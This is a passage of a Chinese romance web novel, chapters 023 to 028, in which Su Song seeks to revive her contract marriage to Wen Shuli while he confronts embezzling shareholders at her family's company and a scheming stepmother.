有了闫丽在这个城市,苏颂每天都过得有奔头多了,一有空就往清吧这里钻。
看着心情很好的苏颂,闫丽也跟着开心起来:“昨晚我还以为他很凶呢,没想到对你挺包容。”
昨晚,在包厢,温戍礼进去的时候,盯了她一眼,她不会看错的,她还忧虑了一晚上,担心苏颂的老公那么凶,会不会对她不好,但现在看来,是她多虑了。
到底是夫妻,温戍礼在外再凶,应该也不至于回家凶老婆。
要是闫丽知道反而是温戍礼被苏颂给凶了一顿,估计很意外。
023 温太太初见白月光
闫丽看着穿着品牌,举止闲适的苏颂,觉得她这个小姐妹才是人间清醒,知道跟对方是联姻,不提过分要求,保持分寸,知足常乐。
而男方也给她提供帮助和保护,适当的包容,这样一段婚姻,只要他们俩能接受,何尝就不幸福?
她不禁想到自己,想到那个男人,她就是奢求太多了,才会走到今天这一步。
“你在想什么?”苏颂看着闫丽在发呆,问。
闫丽笑了,说:“我想你男人这么帅,昨晚上演了一出英雄救美,你要不要积极表现一下。”
一说起昨晚,苏颂还有点心虚:“表现什么啊,我们昨晚吵架了。”
等苏颂说到自己控制不住大声凶了温戍礼的时候,闫丽美丽的脸僵硬一瞬,随即竖起大拇指。
“妹妹,你太强了,姐姐佩服你!”她不会看错的,温戍礼那种男人绝对不简单,且那种男人,单论出身就不是会受气的,没想到苏颂还敢凶温戍礼,并且毫发无伤!
这下,闫丽更来劲了:“既然这样,你更要表现表现啊,你不是说他救了苏氏,对你有大恩,你要当好太太吗?”
现在闫丽笑得越漂亮、越谄媚,苏颂就越害怕,因为那天,她带她去那种商店的时候就是这样子的。
“别了吧!”苏颂不敢了,那些东西都被她放起来了,闫丽的办法太野,不适合她。
闫丽一眼看出她的心思,呔了一句:“少把我想得那么不正经,虽然我是喜欢不正经一点,那样快乐,但是,姐姐也是会正经的。”
她靠近苏颂,在她耳边叽叽喳喳,说得苏颂一会脸红一会笑的,最后点头。
她同意了闫丽说的办法,苏颂说:“那你跟我一起去吧。”
就在两人手牵手要一起出门的时候,顾辽舟进来了。
进门的顾辽舟看到苏颂,随即目光落在她们牵着的手上,心里警铃大作,话随口就出:“草!”被温戍礼知道,不得出事。
苏颂对温戍礼的圈子不熟悉,但对顾辽舟,她有所耳闻。
顾家家底厚,但出身不干净,在圈子里,其实很被瞧不起,这会听他一张口就是脏话,对他印象是拉到负数。
苏颂没好气的说:“来错地方了吧,这里没有草。”
顾辽舟低声嘟囔:“你才来错了,老实待在家里不就好了,尽惹麻烦。”
苏颂瞧着他,不知道他在嘀咕什么。但对方对她的敌意,她感觉到了。
“你有事吗?”闫丽没有苏颂那么斯文,对顾辽舟的态度很鲜明,就差写着“不喜、快滚”了。
顾辽舟不明白自己都还没做什么,怎么就惹她们不欢迎了,但她们这样,只会让顾辽舟越觉得这里有猫腻。目光又落在她们两人牵着的手上。
果然,这里不正常。
“嫂子,我找她谈点事。”顾辽舟忽略闫丽,直接对苏颂说,他笑笑,态度还有几分诚恳。
怎么说,这都是甲方的太太,四舍五入,就是甲方。
既然闫丽有事,苏颂也不好让她跟自己出门,她跟闫丽道别,离开了Lily清吧。
看着两人终于分开了,顾辽舟松了一口气。
“有事就说,有屁快放!”闫丽没好气的说。
“对我这么大敌意,怎么,这里我不能来?”一边说着,顾辽舟一边往侧边移动几步,跟闫丽保持足够的距离。
为了拿下闫丽,他专门找拉拉了解过,都说她们其实很反感男人。顾辽舟这样问,一方面是想问她为什么不喜欢自己,第二,就是想从她的反应,验证这里是不是真的在做不正常生意。
很奇怪,他派出的人,竟然还探不出这里的底,眼前的女人也是。
一切暂时都还只是他的怀疑。
没有苏颂在,闫丽露出自己原本泼辣又强悍的一面,跟顾辽舟打直球:“这里是你堂哥卖给我的,他杀了你的心都有,当然不喜欢你来他的地盘。
你也不用查我,你查不到。”闫丽点了烟,红唇含白,别有一种风韵。
被下了面子,顾辽舟也不恼,笑得几分浑的,嗓音懒懒地问:“所以,你到底是谁的人?”
。
苏颂离开清吧,来到酒店,这一次,闫丽没有给她出乱七八糟的主意,而是让她正经八百的开一间房。
“老是在家多腻啊,偶尔换换地方,找找感觉,也许感情就升温了呢。”
对温戍礼的感情,苏颂早就不期待了,但是不代表她对升温没想法。想到几天前那一次,她发现,自己也有点食髓知味。
那是她第一次上天堂,她好像有点理解,为什么有些女人,会钟爱猛男,会钟爱做这种事了,因为真的妙不可言,可以让你快乐好几天。
于是她走到前台,她咬咬牙,要了一间主题房间。
“请问要什么主题的?”前台小姐人美声甜地问。
“啊?”还有选的吗?苏颂惊讶,不小心发出声。
前台小姐倒是见怪不怪的样子,还很温和地笑:“第一次定这个吗?”声音放低一些,介绍,“我们有镜屋主题、机车主题、美式复古……镜屋主题就是四周都有镜子……你懂吧?还有御姐风、夜店风,最近还新推出了监狱风格呢。”
前台小姐很尽职,介绍得很详细。甚至开始叠加buff,吓得苏颂连忙打住。
“不用,就……就你说的那个镜、镜子好了。”苏颂紧张得都结巴了。她觉得那些主题都太疯狂了,就这个听起来文静一些。
四周都有镜子,大概就亮一些吧。她跟温戍礼没有试过白天,她想可以接受。
前台双手递给她房卡。苏颂接过,转身的时候,差点跟一个女人撞上。
“抱歉。”苏颂说。
“没关系。”
好好听的声音,让苏颂不由得抬眼看去,一眼,就被对方惊艳到。
那人标准的五官化着淡却完美的妆容,但让苏颂惊艳的不是脸,而是对方的气质,那人穿着粉色旗袍,行为端庄,谈吐如兰,整个人就是站在那,就有种高贵的气质,让人觉得可望不可即。
024 你挑的火,却说怕了?
什么叫窈窕淑女,这就是啊!
直到那人开好房,又回头对看得发呆的苏颂露出个微笑的时候,苏颂才回神。
她竟然看愣了。
苏颂出了酒店又去了美容店做护理,对今晚做好准备。
。
云城,茂盛电子公司,公司名字取的是苏颂太爷爷苏茂盛的名,因为苏颂的奶奶,跟苏颂的母亲都是入赘,苏颂的爷爷索性对自己的公司简称苏氏,为的就是提醒后代念根,避免公司落入外姓手里。
但人算不如天算,到了苏颂这一代,苏家依然没出男丁,可公司已经快不行了。
当初,温戍礼用一年的时间挽救了苏氏,但也只是避免破产,因为电子行业没落已经是不可避免的趋势,这两年,也就是不亏本而已。
温戍礼今天会急匆匆的赶过来,是因为苏氏的经理人辞职了,这种职位要离职都得提前,交接做好才能走,可偏偏没人告诉他,直到现在内部运转不下去,才通知到他这里。
结果温戍礼来了之后,这些人不仅不欢迎,还不听话。
“我们在这里几十年了,我来的时候,你还没出生呢,我怎么会害了苏氏?老苏总临走前都叮嘱我帮忙看着公司呢。
我们让那个经理人走,是因为他根本不是真心为苏氏打算,他就是为了赚钱,他一个人年薪就要百万,那钱都让他拿走了,公司自然就没钱了。”
“我说,也别请什么经理人了,直接让颂颂回来打理不就行了,这是她的公司,她也毕业了,该承担起她的责任了。”
老企业的难管理,温戍礼算是体会到了,这会,几十个人围着他叽叽喳喳的,一个比一个更像公司的老总。
“够了!”温戍礼低喝一声,他的不威自怒,让在场的所有人都噤了声。
他一一扫过这些人,眼里的轻蔑很明显:“你们不会害了苏氏,那陈楠之死后,公司是怎么亏欠的一千万的?”
一句话,让在场的人面面相觑,大气都不敢喘。似乎都在询问,他是怎么知道的。
“这点事只有我不想管,没有我不知道的。”温戍礼言语敲打。
并不是苏颂的父亲走后,苏奶奶就来温家逼婚的,而是苏父陈楠之走后一年。一年的时间,就把一个将近百年的老字号掏得濒临破产,这一个个,都是贪得无厌的蛀虫!
“我请的人,年薪百万,但账上至少还有五十万的盈利,你们把人赶走,是觉得,他不在,公司一年能剩多个一百万?”
“还是说,他不在,好方便你们把盈利都分了,再把公司瓜分干净?”
要说刚才温戍礼只是冷傲,现在就是直接蔑视了。他嘲讽的扯了扯嘴角:“苏氏,现在我说了算。”
一句话,就定了音,但他最后一句,才是掀起巨浪的石子。
“找相关法务团队,把公司近五年的帐,都查一下。”
他脚步稳健,说完这句话,人也已经出了办公室。还好助理反应迅速,及时关上了会议室的门,阻挡了那群闹哄哄的人一涌而出,拖延时间,让他们顺利上了电梯。
电梯里,助理心有余悸,反观上司,却一脸阴鸷。他一直跟在温戍礼身边,知道把苏氏步回正轨这件事,没有外界想的那么容易,越发理解的同时,又不免同情上司。
娶了个老婆背了一身债,谁碰上了不说一声“哎”。
“不去工厂了,现在就回南城。”温戍礼说。
没想到上司并不是在发愁楼上的破事,还在想着赶回去。看来上司真的爱上太太了,这么着急回家。助理嘴上应着,心里默默记下。
。
苏颂做完美容又做了全身SPA,忙完已经晚上八点,一个人也不知道吃什么,放松完的身体又懒洋洋的,索性先到酒店开的房间躺着。
她躺在床上躺得舒服极了,正昏昏欲睡的时候,门铃响了,她叫了餐,以为是服务生,套上拖鞋就去开门,结果门口站的是——温戍礼。
“你回来啦?”她揉了揉眼,别是眼花看错。
苏颂把房间号发给他的时候,他说还没回来,也就是半个小时的时间,就到了?
温戍礼进门,看到那些镜子,一付若有所思的样子,说:“这就是你不回家来开房的原因?”
看到她发过来的是酒店房间号的时候,温戍礼第一个反应就是疑惑,后面他想了想,既然想谈谈,或者在酒店更好一些,便没有多问,结果……还真是给了他一个大惊喜。
苏颂慢慢吞吞的走过来,看着大小不一的镜子里折射出很多个温戍礼,心里更怵了。她开房是想找点新鲜感没错,但约他的首要原因,是她想为昨晚的事情道个歉。
她的公司是他救的,也就是说她花的钱都是他赚的,她还没有到蛮不讲理的地步。
苏颂低着头,几分扭捏的样子,说:“你不喜欢吗?我就是想,你每天都那么累了,我什么都帮不上,还让你不开心,想着换个地方让你……放松一下。”
闫丽说,男人很好哄的,说几句软话,让他放松放松就舒坦了。
恋爱白痴的苏颂,现在对闫丽的建议是言听计从,但她忘了,闫丽那样的情场老手,说出来的话哪能字面理解。
温戍礼听了,抬手扯了扯领带,只看到他背影的苏颂,此时还一脸茫然,听见他说。
“知道我很累,还搞这个。是要我放松,还是要我命?”他转过身,一步一步的靠近苏颂,直接将人抵在镜子上,不由分说,吻了下去。
苏颂就算已经察觉到不妙,也为时已晚。
她从没有感受过这么热烈的吻,以及这么热烈的他。他浑身像是火一样,在她身上有种奋不顾身的冲动。
从镜子到床上,每时每刻都有他们的影子,或重叠、或交织、或缠绵、或拉扯。看得苏颂脸红耳赤,觉得全身的血液都沸腾了。
事到临头,苏颂反而有些怂,她看着在脱衣服的男人,心想着,现在说暂停的话,会不会被他掐死。
025 男人心海底针,事没办成,反被凶了
“你先听我说。”苏颂有些害怕,他看起来太猛了。
温戍礼脱了上衣,镜子里面将他的腹肌清晰的折现出来,身下,是她柔美的侧颜。
要命。
他深呼吸一口气,俯下身,声音已经暗哑:“等会再说。”
湿热围绕在苏颂的周围,让她有种要溺水的错觉。就在她觉得要窒息的时候,门铃再一次响了。
“女士,您的餐到了。”
这次是服务员了。
苏颂有些兴奋的推开温戍礼,急促的说:“我还没吃晚饭。”
到底,温戍礼还有人性,让她先吃了晚饭。
苏颂一口分成三口咬,极力拖延时间,但一顿饭还是吃完了。
洗完澡出来的温戍礼,身上只穿着浴袍,他的身材向来好,但从未穿过这么暴露的衣服,苏颂看着他那喷薄欲出的胸膛,有些失神。
“吃好了?”温戍礼开口,同时拢了拢胸口的衣服。
苏颂只能闪躲的收回目光,收拾餐盘,假装自己在忙:“嗯。”
心里暗戳戳的想,又没外人,遮掩什么啊!
“那个,我开这个房间没有别的意思,你能不能,别那么……”猛。看起来就想要吞人一样。苏颂有些囫囵不清的说,显得底气不足。
到底,房间是她定的,目的不纯的是她,现在临阵退缩的也是她。
温戍礼坐在吧台边,浅浅的喝着水,目光扫过镜子里的她一眼,道:“你觉得你吃个饭这么久,我还有意思?”
没意思更好。苏颂是真不想再见识到刚才那样的他了。她麻溜的站起来,端着餐盘就要出去。
“在酒店,还得你当服务生?在家也不见你这么勤快,行李也不收,饭也不做了。”
这是要翻旧账了?苏颂的脑子有瞬间空白,忘记问闫丽,欲求不满的男人得怎么哄了。她还没想明白,温戍礼先开口了。
“坐下,我们谈谈。”
苏颂规规矩矩的坐在沙发上,这下不敢乱来了。
温戍礼瞧她这样,轻嗤一声,好似在嘲弄她的没出息。
“这样,也是你朋友教你的?”他不傻,苏颂最近的转变,都在那个清吧老板出现之后才有的,而她说,那是她朋友。
“我都说了,没人教我。就,就觉得老是在家里,没意思。”
“你现在意思挺多啊!”
碰上情绪不好的温戍礼,苏颂识相的闭嘴。不是没吵过,她说不赢他。
并且惹他生气,后果很严重。
于是苏颂闭着嘴巴,恭恭敬敬的坐着。
看她这样,他的火气也发不出来,他发现,她总是有气死他的办法。
算了,不说别的了,就问他最在意的:“你真的觉得我爸说的不错?”
“你想要跟我生个小孩?”
苏颂头点到一半,猛地抬头,一脸的不可思议:“谁说这个了?!”
时间静止半晌,气氛沉默到,让苏颂觉得,镜子里的温戍礼都要冲出来掐她的错觉。
她先受不住他沉甸甸的目光,移开视线,咽了一把口水,手指扣着勺子,垂眼说:“你想要……”
“不想!”
气场陡然变化,整个气氛都改变了。
她话没说完,他便率先开口,那语气斩钉截铁,像是怨气冲天,又带着恨意一般……
被甩上的门,带进一阵风,卷乱了苏颂的发,凌乱的发丝,如她一般无措。
。
深秋的天,是一天比一天冷了,苏颂今早起来喷嚏连连,晚些就感冒发烧了,阿姨不在,她发现家里没药了,麻烦闫丽送过来。
闫丽看她烧得脸蛋通红,问:“温戍礼呢?”
“他不在家。”接过闫丽递的水,苏颂就着嘴里的药吞下去。
闫丽打量着她,又问:“你这样,是那天太激烈了,兴奋到身体不适应?还是情场失意,病倒了?”
不得不说,每次闫丽说话都会有种让人招架不住的猛。且,目光狠辣,直击要害。
苏颂知道她是故意说的,她看出来了。
放下杯子,苏颂靠在床头上,几分无精打采的,却还露出自嘲的笑容来,她说:“失败了,并且那天之后,他没回来过。”
她已经三天没有见到他了。
“并且,家里的帮佣也被他叫回温家去了。丽姐,我想,我快要被抛弃了。”她失落的想,原来他真的会不要她。
闫丽听后,破口大骂:“这个姓温的,太不是人了!就算当年娶你不是情愿的,怎么也当了三年夫妻,真的女人如衣服,穿旧了、腻了,想扔就不要了?!”
“男人,没一个好东西!”
苏颂在这段婚姻里一直没有安全感,对温戍礼也从没有抱过多大的期待,失落一会倒也好了,反而安慰起暴躁中的闫丽。
“没关系,反正他把苏氏救活了,只要苏氏不倒,奶奶就不会失望,奶奶心情好,身体就会好。我只想奶奶健康长寿。”
“那你自己呢?”
“我呢,就暂时先装糊涂,反正只要他不提离婚,我就当一天和尚,撞一天钟,不能先慌,让人挑到错处。
其实当温太太,有的吃有的穿,还能有不限额的卡,上哪找这么好的工作。等他提了,我就狠狠再要一笔!”
她想,说不准,温戍礼对她冷暴力,就是要她先提离婚,然后让她净身出户。想得美!
闫丽听后很欣慰:“不愧是我教出来的好妹妹,男人是最不可靠的,要懂得为自己经营。”
“不过,你真的不喜欢他了吗?”
苏颂摇了摇头:“他也不让我喜欢啊,那么凶。”
“你们那天,到底发生了什么?”明明那天离开的时候,苏颂还是满怀期待的,出门的时候,还在哼着歌呢。而且她还听那个姓顾的说,温戍礼为了苏颂,狠狠的教训了他弟弟
那天顾辽舟后面还对她说了一堆莫名其妙的话,但总结一句就是,温戍礼很在意苏颂。
她不可能会错意的,姓顾的还要她别带坏苏颂。
可一转眼,两人就闹了?
“也没有啊,我之前不是说我公公答应让他进盛泰了吗,然后我公公还提到让我们生个孩子,他问我意思,我也拿不准,就反问他想不想要,结果话还没说完,他气冲冲就说不想,还说让我不用把他爸的话当回事。”
026 你凭什么给我老婆甩脸色?
一想到他那天换好衣服出来,脸色阴沉得要滴出墨来,用极为不好的语气说出“爸的话,不用当回事”的样子,苏颂心里就怄得要死。
“不想就不想,跟要吃人一样!”
苏颂那天真是被发脾气发得莫名其妙的,回来之后一直心神不宁,导致她晚上睡觉就做梦,一晚梦见两年前,他冷漠无情的让她做好温太太就行,然后梦里的温戍礼就一直对她冷暴力,直到她老死都没出现。
昨晚又梦见他说要离婚,还说离婚后要搞垮苏氏,不会让她不劳而获,于是梦里的她对温戍礼又哭又求的,吓得她今天起来就不舒服了。
她揉了揉昏昏沉沉的脑袋,还是有些烧。
闫丽问:“所以你们结婚三年了,为什么没生孩子?”
。
温戍礼正在老宅,他已经有三年没回这里住了,所以这次回来小住让老头很高兴,但有人高兴,就有人会不高兴。
此时他坐在楼台喝茶,林美丽穿着睡衣,风姿曼妙的走过来,她也就比温戍礼大了十岁,加上每年花重金保养,看上去像是三十多岁。
“结婚后就没回来住过,这次又是回来住,又是把莲嫂带回来的,怎么?跟老婆闹脾气了?还是气大到,连人都不给她留了。
过了三年才想起来换老婆?我还以为你这辈子都不会离了呢。”林美丽一句有一句的,嘲讽的语气伴随着话越发加重。
她面对着温戍礼,穿着睡衣,那张脸明明很柔弱,可说出来的话,却很冷硬。她的话,都是讥诮。
自打她生下温泰、温衡两兄弟后,就不藏着了,两人已经交手多年。
温戍礼并没有被她的话影响,慢条斯理的将茶水冲出来。
清晨,最配得上茶气的清香。
是顾辽舟给他的芝兰香。
他看着茶盘上三个瓷白的杯子,里面盛着清澈的茶水,因着茶水高低不相同,水面的晃动也不相同。
三个不同水位的杯子,就像他们能力不同的三兄弟。不去看水,都是一样的白瓷杯,就像他们在外,人人都会敬一句“温少”,但剖析开了,大家才知道,高低各不相同,能力实力也相差悬殊。
他继母好像没意识到,他温戍礼才是温家唯一正式的继承人。
而今日,温戍礼打算来教教这个继母做人。
他开口:“我不想有人再监视我太太,苏颂,是我太太。”
那个莲嫂,是林美丽安排过去的,打着照顾他们两口子的名义,实际上在监视他们。但他忙,少回家,所以莲嫂捎带回来的,绝大多数是苏颂的消息。
苏颂那人少根筋,还觉得那个莲嫂好,甚至还夸林美丽会安排人。
一想到这个人,温戍礼心中烦躁又多了一些,但他压了压,又说:“你如果还想对付我太太,你不怕落得跟你儿子一样下场就好。”
“好啊,我还没质问是不是你,你就承认了是吧?你这话就是承认,对吧?”林美丽气势汹汹,像是堵着的一口气,有了发泄口。
她越想越觉得,打温泰的人就是温戍礼。可她查不出来,温泰好像也被吓到了,不敢说。
林美丽本来想借机套话,没想到温戍礼自己倒先承认了,她有些兴奋。
“你去告诉我爸。”温戍礼看破她所想,还做了个“请”的动作,但林美丽刚转身,脚步都还没迈出去,他又说,“就算是真的,我爸也不会拿我怎么样。”
“不可能,阿泰也是他儿子!”
温戍礼站起来,他姿态平静沉稳。相对比继母的一脸狰狞,他显得泰然极了。
“因为现在的温家,是融合了我外公家的资产。而他们两人当初离婚的协议,就是温家的一切以后必须都是我的。
你说,我爸能拿我怎么样?”他眼神如利刀,割的林美丽破裂。
“你说的是真的?”这一些,她从没有听过,“不可能。”她否认道。
但温戍礼并不是来证明自己的,他的目的,是要这个女人少兴风作浪。
他本就高出林美丽一个头,这会低头,有一种轻视的淡漠,开口道:“你住的、用的,花的,都是我的,凭什么给我老婆甩脸色?!”他每说一个就逼近一步,林美丽被他逼得节节后退,最后撞在玻璃上,气势全无。
在温家发生的一切他都知道。一瞬间,林美丽慌了。
“我……”
“叮嘱好你儿子,再敢骚扰我老婆,就不是让他躺几天这么简单了。”
温戍礼抬步下楼梯,他长得斯文俊俏,说话又都是简练沉稳的,给人一种世家贵公子的气质。可他,是温、宋两家倾尽全力培养出来的接班人,又怎么只会有公子世无双的表像。
他离开了温家,犹如他谁也没告知的来,走的时候,也谁都没通知。是他家,他当然出入自由,只不过拼凑以后的家,他没兴趣了,自然也就不知道,他走后,林美丽便病倒了。
温戍礼出了温家,助理已经在车旁等着他,他并没有马上上车,而是拿出烟,点了一根。
助理在他身前汇报说:“顾大少说找不到你,给我打了电话,说陈小姐回来了,让你去参加接风宴。”
助理小声说完,等了一会,没有等来上司的指令,又接了一句:“要不,我给推了?”
毕竟这位陈小姐也不是一般人,在上司没有结婚之前,也就只有这位陈小姐能靠近他家上司的。这种友情至上,恋情未满的关系,很多时候,可比前任还敏感,还难处理的存在。
这三年,没再见过上司跟陈小姐有联系,而上司也从未提及,联想到车上的礼物,助理便觉得,上司应该是不感兴趣了,于是想帮着推了。
温戍礼刚张口,白烟比他更快捷,弥漫的烟雾,让他看起来有些朦胧:“不,去,也好久没见了。”说着,他丢了烟,皮鞋踩上去,上了车。
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苏颂吃了药,退得快,到了中午已经饿得不行了,拉着闫丽出来吃烤肉。
这种不热又还不会太冷的天气,吃烤肉最有胃口了。
027 老婆跟人同房?女的也不行!
“太爽了。”苏颂塞一口生菜包五花肉,发出满足的喟叹。
闫丽是个注意形象的人,对于吃这种毫无美感的食物,不太提得起兴趣,只说:“你刚好,这些油腻,别吃太多了。”
苏颂一边点头,一边又让服务员加牛排。闫丽见劝不听,也没多说,靠在皮座上,点了根女士烟,想着等苏颂慢慢吃,结果,苏颂的手机响了。
苏颂用热毛巾擦了擦手,看到来电是“奶奶”连忙接通。
“奶奶。”她朝闫丽比划了一个“嘘”,又甜美的喊了一声。
这种情况,闫丽已经见过很多次了,苏颂看似爱玩,其实骨子里是个听话的乖乖女。
想到那个古板又刻薄的老太太,闫丽并没兴趣看这俩祖孙聊,刚好烟瘾犯了,到门口去抽烟。
结果烟刚点上,苏颂就火急火燎的跑出来。连她站在这里都没发现。
“怎么了?”闫丽问。
苏颂回头才发现闫丽,说道:“我奶奶说苏氏出事了,我得回去看看。”
苏颂听奶奶说后很着急,闫丽不放心,便开车带着苏颂回云城。
车上,闫丽安慰她:“你也别急,奶奶没事的,不过苏氏已经被温戍礼管理这么久了,怎么这次会出现这么大的事情?”
这三年,闫丽一直在云城,茂盛电子公司是当地的老企业,她也有所听闻,说是被东床快婿给救回来了。
当然,传言是更猥琐难听的,苏家卖孙女这种话,闫丽也听过。
苏颂也不知道具体情况,只能将奶奶在电话里头说的,转述给闫丽听:“奶奶说,公司的股东都要辞职,说温戍礼欺负他们,还瞧不上他们的能力,羞辱他们,所以不干了。
那些人不仅拥有股份,还是公司的骨干,都不干,苏氏就瘫痪了。”
见苏颂心急如焚,闫丽只好提高车速。
苏颂那边连夜赶路,温戍礼这边一晚上也没闲着,等出来的时候,人已经微醺,助理问上了车的上司:“Boss,回哪?”
温戍礼的住处不止一处,这几年虽然都是回跟苏颂的家多,但有时候出差回来晚了,或者不想回去,温戍礼也会选择别的住处。
这一回头,才发现上司手里还拿着那个首饰盒。
东西还没送出去,这会又来见绯闻女友?助理也有点琢磨不透了,难道他以为的婚后恋,并不是?
“回家,让苏颂给我煮醒酒汤!”
助理:……好,他又想错了。
温戍礼回到家,一进门,酒醒了一大半,漆黑冰冷的客厅,在告诉他家里没人,他抬手看腕表,差一分钟。
他很忙,时间很宝贵,鲜少等人的时候,此刻还耐心的跟着数秒。
“……58、59、60。”
十一点了,她还没有回来,温戍礼拨出电话:“苏颂。”他喊了一句。
“十……”一点了。话没说完,那边苏颂急切的声音就传来。
“我有事,今晚不回家了。”
本来他还在担心她不守门禁是不是出什么事了,但现在听她没事,却不回来,心里有了点不舒服,温戍礼揉了揉眉心,又问:“什么事?”
“颂颂,我好累,换你来。”
“哦,好,先这样,我挂了。”
不明缘由,她就这样把电话给挂了。
本来还耐着性子的温戍礼一把摔了手机。
是那个清吧老板的声音,她不回家,她又跟那个女人在一起!
温戍礼原以为自己能忍的,但现在,心里像是打翻了醋坛子,酸涩难挡。
深呼吸三次,他捡起沙发上的手机,再次拨出电话:“辽舟,我们可以开始合作了,先从‘Lily清吧’下手吧。”
。
这边,苏颂跟闫丽在高速休息站替换开车,本来四五个小时就能到的,但闫丽不熟悉路,加上天黑,中间开错了,导致现在才到云城,高速上,两人轮流开车。
苏颂上车,下一个路口就下高速了。
闫丽喝口水醒醒神,问苏颂:“温戍礼的电话?”
苏颂开着车,回:“嗯,忘记跟他说一声了。”
闫丽又问:“为什么不直接说?”苏氏的事情是因温戍礼而起。
苏颂过了收费站,下高速后,车速慢下来,人也缓下来了,不用那么精神紧张,她解释说:“他这么晚才回家,大概又应酬了,他很累,要应付那么多事,喝完酒他最想睡觉,明早再说吧。”
苏颂说完,听见闫丽轻笑一声,余光一瞥,问:“你笑什么?”
“我笑,原来你设门禁不是为了管你家男人,而是心疼啊!”
。
因为太晚,苏颂跟闫丽没去苏家,而是在酒店开了一间房休息,至于为什么只开一间房,大概是因为两人都是女的,并且关系好,并不介意睡在一起,但这件事在隔天清晨传到温戍礼这里的时候,却让他捏碎了杯子。
陪了一晚上的顾辽舟见他手上流血,马上让人去拿医药箱来。
“也许就单纯睡觉呢?”顾辽舟说。
这话得了温戍礼凉凉一个眼神:“盖着被子纯聊天?昨晚你怎么不跟我一起睡?”
顾辽舟昨晚在接风宴喝了不少,就近在酒店开了房,接到温戍礼电话,一高兴就报了地址,哪知道他不是来商量合作事宜的,而是找地方发泄的。
于是,顾辽舟陪着温戍礼又喝了大半宿。两人都是会熬夜的主,又加上能喝,不知不觉就到天亮。
这会被温戍礼这么一说,顾辽舟脑子里自动脑补跟温戍礼睡在同一张床上的场景,瞬间打了个冷颤,连连摆手拒绝:“我十八岁之后,就没有跟男性一起睡过觉了。”
要么自己,要么跟女伴,两个男人睡在一起,算什么事。
那两个女人睡在一起,又算什么事?顾辽舟想不明白,但现在他很清楚,千万不能再刺激身边这个大财主了。
“那你打算怎么做?”顾辽舟问。
温戍礼用纸巾擦掉手心的血,那淡漠的样子,好像流的不是自己的血。那双漆黑的眼泄出丝丝狠意。
他说:“一个外地人,不提前知会,就来你的地盘开店,还有跟你抢生意的苗头。
换在三十年前,老顾家对竞争对手,可不会这样心慈手软。”
028 他及时出现,给了温太太定心丸
“该怎么做,你比我清楚。”
虽然他在述说,却让顾辽舟出了冷汗。
“对一个女人,太狠了吧。”
“她不该,动我的女人!”
见温戍礼朝门口走去,已经打开房门,顾辽舟回神,问:“你要去哪?”
“找我老婆。”
“你一晚上没睡,又喝了那么多……”但温戍礼已经消失在门口。
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苏颂一大早就回了家,苏奶奶苏凤看到孙女,先是心疼的上下左右看了一圈,随后又板起脸:“还好,这个温戍礼虽然对公司的老人翻脸无情,倒是把你养得白嫩,长肉了些,看你这个状态,也不错。”
自从三年前,苏凤带着苏颂上温家逼婚,她也三年没有见过孙女了。
闻言,苏颂摸了摸脸,这三年,她在家吃了睡,睡醒吃,没人管她,过得比她当女孩子在家还轻松,她也说不出温戍礼对她不好的话。
他只是冷淡了点,又不爱她而已。
打住思路,苏颂说起正事,问:“奶奶,公司那边到底怎么回事?”
“还能怎么回事,他觉得他挽救了苏氏,是苏氏的大功臣,要立威夺权了呗,可我老太婆还没死呢!”
也不是苏颂不信奶奶,只是温戍礼就要去盛泰入职了,跟盛泰那种集团比,苏氏实在太渺小了,温戍礼完全没必要霸占。
苏颂觉得奶奶多年不管苏氏的事了,对公司那些老人也久不接触,中间可能有什么误会,说:“奶奶,要不我们去公司看看吧。”
俩祖孙一到公司,就引来一群公司老人诉苦,个个说的都是温戍礼霸道不讲理,对老股东不尊重,不念旧情,赶尽杀绝。一个说得比一个用词厉害,都快把温戍礼说成吃人不吐骨头一样的了。
但越是这样,苏颂越觉得不对。
“太过分了。”苏凤气得手抖,对苏颂说,“颂颂,打电话给他,叫他过来,到底要干什么,当着我老太婆的面说!”
情势不对,苏颂也不清楚事情真相,只能给温戍礼打电话。
她把这边的情况大概说完后,问温戍礼:“是不是有误会啊?”
“你信我?”
“我觉得,你真要苏氏,三年前时机不是更好,没必要现在要。”
如果当年在她们向温家求助的时候,温戍礼就要苏氏,外人顶多说一句趁虚而入,但买卖是自愿的,如果她们不愿意,可以不卖,但苏氏的后果她们要自己承担。
可现在,苏氏已经救回来了,并且在逐渐变好,温戍礼又跟她结婚了,这时候要苏氏,人家就会说他道貌岸然,吃绝户,外人会可怜苏氏,瞧不起他。对他的名誉损害很大。
所以苏颂觉得不管是哪方面,温戍礼都没必要。
苏颂的分析很理性,但她的话落在温戍礼耳朵里,却不是这么一回事。一个男人再成功,后面没有一个女人支持就算不上得意。
所以,现在的温戍礼很得意,男人的嘴角弯起,对手机说:“等我。”挂上电话的同时,温戍礼也踏进茂盛电子公司的大门。他已经到了。
苏颂看着已经挂断的电话,她琢磨着,温戍礼到这最快也得下午到了,她在想要怎么控制住场面,拖到下午的时候,抬眼,就看到温戍礼朝她走来。
“你……”苏颂震惊不已,“你怎么来了?”
“不是你让我过来的?!”
温戍礼笑着屈起手臂,苏颂的手自然的挽上。
像是这几天的冷战不复存在,两人郎才女貌的出现在众人的视线里。
纵使是听得怒火中烧的苏凤,此时看到这么登对的两人,也愣了愣。
“你们对你们说的,都能保证是真的吗?”温戍礼没有特意去看谁,也没有第一时间为自己澄清,而是问出这样一句话。
可一句“保证”却让场面安静下来,慢慢的凝聚成一股子诡异的气氛。苏凤当年也是扛起苏家半边天的女强人,瞬间就察觉到不对劲。
“你们在骗我?”
那些个股东、高管,你看我,我看你,刚才说得有多义愤填膺,这会就有多安静如鸡。
温戍礼的气场不容小觑,他不轻狂,但也不谦逊,只听他说:“法务团队我也带来了,另外,我也找到管理公司的新经理人了。”
“什么法务团队?谁犯法了?”苏凤疑惑。
“温戍礼,你别欺人太甚!”
“对,你要是逼急我们,信不信我们集体撂担子不干!苏氏就彻底……”
“彻底什么?你们在威胁苏氏?”苏凤在温戍礼话前先开口。
苏家经营了上百年,因为年代跟天灾的原因,到她这一辈,只有她一个女孩子活下来,她招个丈夫,留在苏家,把岌岌可危的公司救回来,并自己亲手经营了苏氏四十年。
没人,可以当她的面,威胁到苏氏。
老太太生气了,那个人,也意识到自己情急说错话了,结巴的说:“可他居然还要告我们……”
一个小时后,办公室内,苏凤气得一拍桌子。
温戍礼并没有为自己的行为多做解释,只是让人给了她一份资料,看完的苏凤脸色都变了。
温戍礼看向助理,他担心苏凤年纪大了,受不了这个刺激,示意助理上前安抚。
“老夫人……”
“完整的资料,都有带来吗?”
哪知道助理刚上前,话还没说,苏凤倒是主动问起。
